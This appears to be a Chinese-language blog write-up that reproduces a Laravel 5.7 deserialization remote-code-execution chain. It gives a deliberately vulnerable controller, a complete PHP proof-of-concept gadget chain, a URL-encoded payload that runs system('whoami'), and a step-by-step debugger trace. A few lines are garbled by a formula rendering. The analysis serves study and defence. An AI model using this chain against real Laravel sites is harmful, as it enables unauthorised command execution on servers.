环境搭建
官网安装https://github.com/laravel/laravel/tree/5.7
composer安装
composer create-project --prefer-dist laravel/laravel blog 5.7.*
复现
在routes/web.php
添加Route::get('/index', 'TaskController@index');
在app/Http/Controllers中新建TaskController.php
<?php
namespace App\Http\Controllers;
class TaskController
{
public function index(){
unserialize($_GET['code']);
return "unser";
}
}
poc
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
$application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('whoami'),$genericuser,$application);
echo urlencode(serialize($pendingcommand));
}
?>
提交
http://127.0.0.1/public/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
分析
laravel v5.7中比5.6多出了用于执行命令的PendingCommand.php
其中的几个重要属性
$this->app; //一个实例化的类 Illuminate\Foundation\Application
$this->test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->command; //要执行的php函数 system
$this->parameters; //要执行的php函数的参数 array('id')
直接看PendingCommand的析构函数
调用了run,我们可以在run函数上打个断点,然后传入payload进行调试分析
run方法
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
最终能执行命令的在call那里
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
先跟进$this->mockConsoleOutput()
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
这个方法是使用Mockery::mock实现对象模拟
Mockery是一个简单而灵活的PHP模拟对象框架,在 Laravel 应用程序测试中,我们可能希望「模拟」应用程序的某些功能的行为,从而避免该部分在测试中真正执行
这个过程看不懂也没关系,我们只需要它正确执行就行了
重点分析$this->createABufferedOutputMock()
private function createABufferedOutputMock()
{
$mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
->shouldAllowMockingProtectedMethods()
->shouldIgnoreMissing();
foreach ($this->test->expectedOutput as $i => $output) {
$mock->shouldReceive('doWrite')
->once()
->ordered()
->with($output, Mockery::any())
->andReturnUsing(function () use ($i) {
unset($this->test->expectedOutput[$i]);
});
}
return $mock;
}
这个地方对test中的expectedOutput
属性进行遍历,但在我们可以实例化的类中,没有一个类存在expectedOutput
属性。只有一些测试类才有这个属性。所以到这里会执行出错,不能够正常返回mock对象,那我们也不能往下执行了,但我们可以利用php的__get
方法,php调用对象中不存在的成员属性时会调用对象中的get方法。
大师傅找到了Illuminate\Auth\GenericUser
类中的get方法
public function __get($key)
{
return $this->attributes[$key];
}
可以返回任意内容,我们只需要控制该对象中attribute数组中键名为expectedOutput内容就行,将其中的内容改为任意数组,即可继续执行返回mock
然后又执行了mockConsoleOutput中
这里又是和上面一样进行模拟,同样利用那个类控制键名expectedQuestions的值返回任意数组即可
$genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
然后函数mockConsoleOutput执行完毕又回到run函数中
开始到了关键函数
但app是一个\Illuminate\Foundation\Application对象,却被当成数组使用
/**
* The application instance.
*
* @var \Illuminate\Foundation\Application
*/
protected $app;
Kernel::class
是一个固定值Illuminate\Contracts\Console\Kernel
继续跟进,发现到了src/Illuminate/Container/Container.php
中(此处必须调试的时候进行步入,直接ctrl+鼠标左键是跟进不了的)
public function offsetGet($key)
{
return $this->make($key);
}
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
// If the requested type is registered as a singleton we'll want to cache off
// the instances in "memory" so we can return it later without creating an
// entirely new instance of an object on each subsequent request for it.
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
// Before returning, we will also set the resolved flag to "true" and pop off
// the parameter overrides for this build. After those two things are done
// we will be ready to return back the fully constructed class instance.
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
最终我们是通过这个返回的object的call方法执行命令的
全局查找这个call方法
发现在src/Illuminate/Container/Container.php
的Container类中
而Application是Container的子类,自然也有这个方法,所以可以调用call函数执行命令
WisdomTree师傅的研究
通过整体跟踪,猜测开发者的本意应该是实例化
Illuminate\Contracts\Console\Kernel
这个类,但是在getConcrete
这个方法中出了问题,导致可以利用php的反射机制实例化任意类。问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php
的704行,可以看到这里判断$this->bindings[$abstract])
是否存在,若存在则返回$this->bindings[$abstract]['concrete']
。
$bindings
是vendor/laravel/framework/src/Illuminate/Container/Container.php
文件中Container
类中的属性。因此我们只要寻找一个继承自Container
的类,即可通过反序列化控制$this->bindings
属性。而Illuminate\Foundation\Application
恰好继承自Container
类,这就是我选择Illuminate\Foundation\Application
对象放入$this->app
的原因。由于我们已知$abstract
变量为Illuminate\Contracts\Console\Kernel
,所以我们只需通过反序列化定义Illuminate\Foundation\Application
的$bindings
属性存在键名为Illuminate\Contracts\Console\Kernel
的二维数组就能进入该分支语句,返回我们要实例化的类名。在这里返回的是Illuminate\Foundation\Application
类。
跟进getConcrete
$concrete = $this->getConcrete($abstract);
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
// If we don't have a registered resolver or concrete for the type, we'll just
// assume each type is a concrete name and will attempt to resolve it as is
// since the container should be able to resolve concretes automatically.
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
通过第二个if,我们可以返回任意值,因为bindings是container的属性,而我们传的Application对象中也有此属性也可控。
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
然后就步出了getConcrete函数,又到了resolve函数中
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
protected function isBuildable($concrete, $abstract)
{
return $concrete === $abstract || $concrete instanceof Closure;
}
concrete是我们可控的,且设置为Applicants类Illuminate\Foundation\Application
,而abstract的值为Illuminate\Contracts\Console\Kernel
由于并不能满足条件,所以还会进入一次make->resolve->getConcrete,又到了第二个if
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
由于不满足$this->bindings[‘Illuminate\Foundation\Application’],所以直接返回了Illuminate\Foundation\Application
所以
c
o
n
c
r
e
t
e
和
concrete和
concrete和abstract都为Illuminate\Foundation\Application
,进入build函数
public function build($concrete)
{
// If the concrete type is actually a Closure, we will just execute it and
// hand back the results of the functions, which allows functions to be
// used as resolvers for more fine-tuned resolution of these objects.
if ($concrete instanceof Closure) {
return $concrete($this, $this->getLastParameterOverride());
}
$reflector = new ReflectionClass($concrete);
// If the type is not instantiable, the developer is attempting to resolve
// an abstract type such as an Interface or Abstract Class and there is
// no binding registered for the abstractions so we need to bail out.
if (! $reflector->isInstantiable()) {
return $this->notInstantiable($concrete);
}
$this->buildStack[] = $concrete;
$constructor = $reflector->getConstructor();
// If there are no constructors, that means there are no dependencies then
// we can just resolve the instances of the objects right away, without
// resolving any other types or dependencies out of these containers.
if (is_null($constructor)) {
array_pop($this->buildStack);
return new $concrete;
}
$dependencies = $constructor->getParameters();
// Once we have all the constructor's parameters we can create each of the
// dependency instances and then use the reflection instances to make a
// new instance of this class, injecting the created dependencies in.
$instances = $this->resolveDependencies(
$dependencies
);
array_pop($this->buildStack);
return $reflector->newInstanceArgs($instances);
}
这里通过反射建立了Illuminate\Foundation\Application
类,然后逐层返回
$reflector = new ReflectionClass($concrete);
所以$this->app[Kernel::class]变成了Illuminate\Foundation\Application
类
然后到了src/Illuminate/Container/Container.php中的call方法
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
继续跟进
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
if (static::isCallableWithAtSign($callback) || $defaultMethod) {
return static::callClass($container, $callback, $parameters, $defaultMethod);
}
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
}
第一个if是满足不了的,各个参数如下
跟进getMethodDependencies
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
$dependencies = [];
foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
}
return array_merge($dependencies, $parameters);
}
最终就是合并 p a r a m e t e r s 和 parameters和 parameters和dependencies数组,所以最后执行的命令
call_user_func_array('system',array(0=>'whoami'));
这个链比yii的还是难不少的,要一直调试,并且其中的很多细节还是没弄太清楚,只是跟着师傅们的思路走,如果自己调的话很容易陷入细节无法自拔,由此可见真正要找个利用链还是很难的
注意
Application中的make方法是重写了的,所以直接跟进并不是make->solve,而是先调用自己的make方法然后才是调用父类container的make方法
参考
https://ego00.blog.csdn.net/article/details/113826483
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
https://www.cnblogs.com/tr1ple/p/11079354.html